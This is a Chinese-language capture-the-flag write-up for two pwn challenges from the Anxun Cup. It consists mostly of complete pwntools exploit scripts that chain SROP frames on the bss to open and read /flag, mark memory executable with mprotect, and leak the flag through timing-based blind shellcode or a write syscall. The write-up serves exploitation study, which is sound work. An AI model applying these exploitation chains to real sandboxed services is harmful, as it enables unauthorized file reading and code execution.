本次安洵杯有三个题,最后一个QQ
的题目由于放题的时候已经出门了,所以没有拿到附件。(看了wp
感觉目前的我还不太会…真的很需要努力!)
第一道side_channels
其实思路非常常规,比赛的时候因为下午要出去玩,看到没write
就…没看了…复现的时候直接秒了
side_channels(基于时间盲注)
常规侧信道,沙箱,可以用open
、read
、mprotect
、rt_sigreturn
。然后是常规栈溢出,栈溢出前可以在bss
段写值。
那么思路非常明确了,首先可以通过srop
在bss
上写rop
链,先open
,再read
,然后通过mprotect
改变一下bss
段的执行权限。接着继续写shellcode
,基于时间盲注爆破flag
即可。
from pwn import *
from LibcSearcher import *
filename = './chall'
context(arch='amd64')
local = 1
all_logs = []
elf = ELF(filename)
# libc = ELF('')
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid, 'b *0x401447')
pause()
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
bss_buf = 0x404060
leave_ret = 0x401446
srop_rax = 0x401193
syscall_addr = 0x40118a
chars_dict = '!\{\}_abcdefghijklmnopqrstuvwxyz0123456789'
result = ''
i = 0
while True:
for char in chars_dict:
if local:
sh = process(filename)
else:
sh = remote('node4.buuoj.cn', )
frame = SigreturnFrame()
frame.rax = constants.SYS_open
frame.rdi = bss_buf
frame.rsi = 0
frame.rdx = 0
frame.rsp = bss_buf + 0x120
frame.rbp = bss_buf + 0x120
frame.rip = syscall_addr
rop_chain = b'/flag\x00aa' + p64(srop_rax) + p64(syscall_addr) + bytes(frame)
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 3
frame.rsi = bss_buf + 0x9a0
frame.rdx = 0x30
frame.rsp = bss_buf + 0x240
frame.rbp = bss_buf + 0x240
frame.rip = syscall_addr
rop_chain = rop_chain.ljust(0x120, b'\x00') + p64(0xdeadbeaf) + p64(srop_rax) + p64(syscall_addr) + bytes(frame)
frame = SigreturnFrame()
frame.rax = constants.SYS_mprotect
frame.rdi = 0x404000
frame.rsi = 0x1000
frame.rdx = 7
frame.rsp = bss_buf + 0x360
frame.rbp = bss_buf + 0x360
frame.rip = syscall_addr
rop_chain = rop_chain.ljust(0x240, b'\x00') + p64(0xdeadbeaf) + p64(srop_rax) + p64(syscall_addr) + bytes(frame)
flag_addr = 0x404A00
shellcode = asm('''mov rcx, 0x404a00
mov dl, byte ptr [rcx + %d]
cmp dl, %d
jz $-3
''' % (i, ord(char)))
rop_chain = rop_chain.ljust(0x360, b'\x00') + p64(0xdeadbeaf) + p64(bss_buf + 0x370) + shellcode
sh.sendafter(b'easyhack\n', rop_chain)
payload = b'a'*0x2a + p64(bss_buf) + p64(leave_ret)
sh.sendafter(b'Do u know what is SUID?\n', payload)
if not sh.can_recv(timeout=3):
result += char
i += 1
print(result)
if char == ord('}'):
exit(0)
sh.close()
continue
sh.close()
seccomp(常规srop)
非常常规的白给srop
,和上一道题的区别在于给了write
系统调用,直接梭哈
from pwn import *
from LibcSearcher import *
filename = './chall'
context(log_level='debug', arch='amd64')
local = 0
all_logs = []
elf = ELF(filename)
# libc = ELF('')
if local:
sh = process(filename)
else:
sh = remote('47.108.206.43', 30079)
def debug():
for an_log in all_logs:
success(an_log)
pid = util.proc.pidof(sh)[0]
gdb.attach(pid)
pause()
def leak_info(name, addr):
output_log = '{} => {}'.format(name, hex(addr))
all_logs.append(output_log)
success(output_log)
bss_buf = 0x404060
leave_ret = 0x40143C
srop_rax = 0x401193
syscall_addr = 0x401186
syscall_addr_ret = 0x40118a
frame = SigreturnFrame()
frame.rax = constants.SYS_open
frame.rdi = bss_buf
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr_ret
frame.rbp = bss_buf + 0x120
frame.rsp = bss_buf + 0x120
rop_chain = b'/flag\x00aa' + p64(srop_rax) + p64(syscall_addr_ret) + bytes(frame)
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 3
frame.rsi = 0x405060
frame.rdx = 0x30
frame.rip = syscall_addr_ret
frame.rsp = bss_buf + 0x240
rop_chain = rop_chain.ljust(0x120, b'\x00') + p64(0xdeadbeaf) + p64(srop_rax) + p64(syscall_addr_ret) + bytes(frame)
frame = SigreturnFrame()
frame.rax = constants.SYS_write
frame.rdi = 1
frame.rsi = 0x405060
frame.rdx = 0x30
frame.rip = syscall_addr_ret
rop_chain = rop_chain.ljust(0x240, b'\x00') + p64(0xdeadbeaf) + p64(srop_rax) + p64(syscall_addr_ret) + bytes(frame)
sh.sendafter('easyhack\n', rop_chain)
payload = b'a'*0x2a + p64(bss_buf) + p64(leave_ret)
# debug()
sh.send(payload)
# pause()
sh.recvuntil(b'\x0a')
print(sh.recvuntil(b'\x0a', drop=True).decode('utf-8'))